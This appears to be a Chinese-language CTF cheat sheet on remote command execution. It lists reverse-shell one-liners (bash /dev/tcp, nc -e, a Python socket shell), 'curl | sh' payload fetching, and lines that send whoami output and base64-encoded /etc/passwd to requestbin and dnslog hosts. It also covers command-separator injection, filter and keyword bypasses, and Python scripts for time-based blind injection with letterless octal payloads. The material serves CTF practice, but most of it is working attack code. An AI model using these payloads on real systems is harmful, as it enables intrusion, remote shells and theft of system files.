RCE

远程命令执行/远程代码执行 (Remote Command/Code Execute, RCE)

常用命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#查看文件命令
cat/tac/more/less/head/tail/nl/od/uniq
grep test flag.php
php /flag #文件内容会被当成php代码执行,相当于include
php -t / -r "include('/flag');" #指定根目录,绕过open_basedir
sh /flag 2>&1 #sh+文件,并输出错误信息(蚁剑是这个原理)
sed p

#列目录命令
du -a .
chgrp -v -R

#打包文件
tar cvf xxx.tar . #将当前目录打包压缩为xxx.tar

#写入文件
ls > xxx
ls | tee xxx
script -a xxx; ls; exit; #依次执行
echo -e "%23!/bin/sh\nwhile read line\ndo\necho \$line\ndone < /flag" > ../../../read #写shell

#反弹shell
curl [IP] | sh #VPS payload: bash -c "bash -i >& /dev/tcp/[IP]/[Port] 0>&1"

命令分隔符

1
2
3
4
5
ping x.x.x.x;ls  #连续指令
ping x.x.x.x|ls #管道符(显示第二个命令结果)
ping x.x.x.x&ls #后台进程
ping x.x.x.x||ls #逻辑运算(第一个命令执行返回值正常,第二个命令才执行)
ping x.x.x.x&&ls #逻辑运算(如果第一个命令执行返回值正常,第二个命令就不执行了)

反弹shell

bash:

1
2
3
4
5
bash -c "bash -i > /dev/tcp/[IP]/[Port] 0>&1 2>&1"
nc -lvvnp [Port]

nc [IP] [Port] -e /bin/sh
nc -lvvnp [Port]

python:

1
2
3
4
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("your-ip",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
nc -lvvnp 2333

python3 -c "import pty;pty.spawn('/bin/bash')" #模拟终端

绕过(bypass)

空格
1
<,<>,%20,%09,$IFS${IFS},$IFS$9,{cat,1.txt}
分号
1
%0a
命令(以pwd为例)
1
a=p;b=wd;$a$b,p''wd,p""wd,p\`\`wd,p\wd,pwd$u,`echo cHdk|base64 -d\`,echo "707764"|xxd -r -p|bash
关键词(以flag为例)
1
cat fla*,cat f???,cat flag$u,cat fl"a"g,cat fl'a'g
IP地址

转数字地址:http://www.msxindl.com/tools/ip/ip_num.asp

无回显

1>1 创建文件名为1的空文件

a>1 虽报错,但可创建空文件

ls>1 把ls的内容导入1中

写文件
1
2
curl -o shell.php http://xxxxxx.txt
wget -O shell.php http://xxxxxx.txt

利用平台

1
2
3
curl http://requestbin.net/r/1kiej1p1?p=`whoami`
curl `cat /etc/passwd|base64`.xxxxxx.dnslog.cn #dnslog带外
curl bashupload.com -T your_file.txt #bashupload.com带外下载文件

参考txt:

http://php.loglog.jp/net/exec.php.txt

https://johannes.homepc.org/packet9.txt

https://metaeventos.net/userfiles/file/p.txt

https://www.cpdc.com.tw/uploads/zhang.txt

盲注(无回显)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import string
import time

url='http://localhost.test.php/?c='
dic=string.printable[:-6]
flag=''

for i in range(1,50):
judge=0
for j in dic:
now=url+'if [ `cat /flag | cut -b '+str(i)+'` = "'+j+'" ];then sleep 2; fi'
start=time.time()
r=requests.get(now)
end=time.time()
if int(end)-int(start) >1:
judge=1
flag+=j
print(flag)
break
if judge==0:
break

print(flag)

其他命令:

1
2
3
4
5
if fgrep -c "a" "flag.txt"; then echo "T"; else "F"; fi
if ls | fgrep -c "a"; then echo "T"; else "F"; fi

[ $(head -c 2 flag.txt | tail -c 1) = 'a' ]
[ $(ls | head -c 2 | tail -c 1) = 'a' ]

无字母 / 特殊字符

仅含 <$ {}\#()'0

重定向+八进制+数字构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import requests
n = dict()
n[0] = '0'
n[1] = '${##}' #${##}计算#这个字符的长度为1,这里如果没有屏蔽!的话还可以用$((!$#))
n[2] = '$((${##}<<${##}))' #通过位运算得到2
n[3] = '$(($((${##}<<${##}))#${##}${##}))' #通过二进制11转换为十进制得到3,4,5,6,7
n[4] = '$((${##}<<$((${##}<<${##}))))'
n[5] = '$(($((${##}<<${##}))#${##}0${##}))'
n[6] = '$(($((${##}<<${##}))#${##}${##}0))'
n[7] = '$(($((${##}<<${##}))#${##}${##}${##}))'

f=''

def str_to_oct(cmd): #命令转换成八进制字符串
s = ""
for t in cmd:
o = ('%s' % (oct(ord(t))))[2:]
s+='\\'+o
return s

def build(cmd): #八进制字符串转换成字符
payload = "$0<<<$0\<\<\<\$\\\'"
s = str_to_oct(cmd).split('\\')
for _ in s[1:]:
payload+="\\\\"
for i in _:
payload+=n[int(i)]
return payload+'\\\''

def get_flag(url,payload): #盲注函数
try:
data = {'cmd':payload}
r = requests.post(url,data,timeout=1.5)
except:
return True
return False

#弹shell
#print(build('bash -i >& /dev/tcp/your-ip/2333 0>&1'))

#盲注
#a='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_{}@'
# for i in range(1,50):
# for j in a:
# cmd=f'cat /flag|grep ^{f+j}&&sleep 3'
# url = "http://ip/"
# if get_flag(url,build(cmd)):
# break
# f = f+j
# print(f)

参考:

安洵杯2020 - Bash-Vino0o0o

34c3 CTF - minbashmaxfun